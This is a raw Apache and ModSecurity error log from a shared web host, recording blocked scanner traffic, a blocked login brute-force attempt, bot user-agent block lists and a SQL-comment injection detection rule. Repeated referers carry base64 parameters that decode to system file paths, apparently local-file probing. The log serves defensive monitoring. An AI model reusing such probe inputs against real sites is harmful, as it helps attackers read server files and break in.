"ai3z7tyTkdrNlD40tSHDUQAAAEw"] [Sat Jun 13 18:21:02.564685 2026] [access_compat:error] [pid 646876:tid 646880] [remote 57.141.14.44:38611] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:02.565099 2026] [access_compat:error] [pid 646876:tid 646880] [remote 57.141.14.44:38611] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:02.611980 2026] [security2:error] [pid 646876:tid 646888] [remote 17.22.237.229:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 229.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z7tyTkdrNlD40tSHDVAAAUQk"] [Sat Jun 13 18:21:02.687442 2026] [access_compat:error] [pid 646876:tid 646939] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvZHJpdmVyL21vZHVsZS9kcml2ZXJzL3NlcmlvOnBzbW91c2U= [Sat Jun 13 18:21:02.687887 2026] [access_compat:error] [pid 646876:tid 646939] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvZHJpdmVyL21vZHVsZS9kcml2ZXJzL3NlcmlvOnBzbW91c2U= [Sat Jun 13 18:21:03.020866 2026] [access_compat:error] [pid 648189:tid 648326] [remote 57.141.14.40:28370] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:03.021323 2026] [access_compat:error] [pid 648189:tid 648326] [remote 57.141.14.40:28370] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:03.188398 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:21:03.188780 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:21:03.445785 2026] [access_compat:error] [pid 648189:tid 648347] [remote 57.141.14.7:34541] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:03.446069 2026] [access_compat:error] [pid 648189:tid 648347] [remote 57.141.14.7:34541] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:03.468759 2026] [access_compat:error] [pid 648189:tid 648272] [remote 57.141.14.77:31451] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:03.469188 2026] [access_compat:error] [pid 648189:tid 648272] [remote 57.141.14.77:31451] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:03.478999 2026] [security2:error] [pid 648189:tid 648220] [remote 90.251.45.156:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3z71WSojQL4F7upKCKVAAA0QA"], referer: https://www.torquayfans.com [Sat Jun 13 18:21:03.479029 2026] [security2:error] [pid 648189:tid 648220] [remote 90.251.45.156:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3z71WSojQL4F7upKCKVAAA0QA"], referer: https://www.torquayfans.com [Sat Jun 13 18:21:03.531911 2026] [security2:error] [pid 646876:tid 647015] [client 210.217.96.217:13232] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3z79yTkdrNlD40tSHDgAAAAAc"] [Sat Jun 13 18:21:03.532065 2026] [security2:error] [pid 646876:tid 647015] [client 210.217.96.217:13232] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3z79yTkdrNlD40tSHDgAAAAAc"] [Sat Jun 13 18:21:03.546862 2026] [access_compat:error] [pid 648189:tid 648307] [remote 57.141.14.24:47910] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:03.547122 2026] [access_compat:error] [pid 648189:tid 648307] [remote 57.141.14.24:47910] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:03.749109 2026] [access_compat:error] [pid 646876:tid 646947] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:21:03.749385 2026] [access_compat:error] [pid 646876:tid 646947] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:21:03.762356 2026] [security2:error] [pid 648189:tid 648302] [remote 17.241.219.33:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 33.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z71WSojQL4F7upKCKXgAAiVA"] [Sat Jun 13 18:21:03.873638 2026] [access_compat:error] [pid 648189:tid 648251] [remote 57.141.14.84:32258] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:03.873901 2026] [access_compat:error] [pid 648189:tid 648251] [remote 57.141.14.84:32258] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:04.130305 2026] [access_compat:error] [pid 648189:tid 648339] [remote 216.73.216.223:14345] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:04.130585 2026] [access_compat:error] [pid 648189:tid 648339] [remote 216.73.216.223:14345] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:04.280309 2026] [access_compat:error] [pid 646876:tid 646941] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDA= [Sat Jun 13 18:21:04.280700 2026] [access_compat:error] [pid 646876:tid 646941] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDA= [Sat Jun 13 18:21:04.493465 2026] [access_compat:error] [pid 648189:tid 648344] [remote 57.141.14.37:23112] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:04.493845 2026] [access_compat:error] [pid 648189:tid 648344] [remote 57.141.14.37:23112] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:04.678265 2026] [access_compat:error] [pid 648189:tid 648317] [remote 57.141.14.67:38389] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:04.678724 2026] [access_compat:error] [pid 648189:tid 648317] [remote 57.141.14.67:38389] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:04.831315 2026] [access_compat:error] [pid 646876:tid 646991] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDQvcG93ZXI= [Sat Jun 13 18:21:04.831684 2026] [access_compat:error] [pid 646876:tid 646991] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDQvcG93ZXI= [Sat Jun 13 18:21:04.864115 2026] [access_compat:error] [pid 648189:tid 648266] [remote 57.141.14.64:52690] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:04.864265 2026] [security2:error] [pid 648189:tid 648325] [remote 86.28.158.150:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3z8FWSojQL4F7upKCKgAAAk2Y"], referer: https://www.torquayfans.com [Sat Jun 13 18:21:04.864302 2026] [security2:error] [pid 648189:tid 648325] [remote 86.28.158.150:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3z8FWSojQL4F7upKCKgAAAk2Y"], referer: https://www.torquayfans.com [Sat Jun 13 18:21:04.864371 2026] [access_compat:error] [pid 648189:tid 648266] [remote 57.141.14.64:52690] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:04.897005 2026] [security2:error] [pid 648189:tid 648466] [client 129.227.46.150:64190] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "tiptoppartyrentals.com"] [uri "/wp-login.php"] [unique_id "ai3z8FWSojQL4F7upKCKggAAAPA"] [Sat Jun 13 18:21:05.188253 2026] [security2:error] [pid 648189:tid 648248] [remote 17.246.15.233:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 233.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z8VWSojQL4F7upKCKjQAA0Bs"] [Sat Jun 13 18:21:05.226065 2026] [security2:error] [pid 648189:tid 648353] [client 185.177.72.9:58308] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(\\\\/\\\\*\\\\!? ?(?:select|grant|delete|insert|drop|alter|replace|truncate|update|create|rename|describe|union|concat|group_concat))" at REQUEST_FILENAME. [file "/opt/mod_security/hg_rules.conf"] [line "1019"] [id "9000042"] [rev "2.2.2"] [msg "SQL Comment Sequence Detected."] [data "/*update"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/*update.cgi*"] [unique_id "ai3z8VWSojQL4F7upKCKjwAAAIU"] [Sat Jun 13 18:21:05.288836 2026] [security2:error] [pid 648189:tid 648255] [remote 17.22.245.216:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 216.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z8VWSojQL4F7upKCKkgAAlSE"] [Sat Jun 13 18:21:05.335164 2026] [access_compat:error] [pid 646876:tid 646961] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:21:05.335445 2026] [access_compat:error] [pid 646876:tid 646961] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:21:05.517338 2026] [access_compat:error] [pid 648189:tid 648321] [remote 57.141.14.67:38391] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:05.517741 2026] [access_compat:error] [pid 648189:tid 648321] [remote 57.141.14.67:38391] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:05.767988 2026] [security2:error] [pid 646876:tid 646994] [remote 17.241.219.195:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 195.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z8dyTkdrNlD40tSHDwQAAf3M"] [Sat Jun 13 18:21:05.768991 2026] [security2:error] [pid 648189:tid 648279] [remote 47.128.97.156:44542] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "skeenlawfirm.com"] [uri "/items/I107051515/"] [unique_id "ai3z8VWSojQL4F7upKCKpAAA1zk"] [Sat Jun 13 18:21:05.797623 2026] [access_compat:error] [pid 648189:tid 648229] [remote 57.141.14.12:37920] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:05.798078 2026] [access_compat:error] [pid 648189:tid 648229] [remote 57.141.14.12:37920] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:05.860151 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:21:05.860582 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 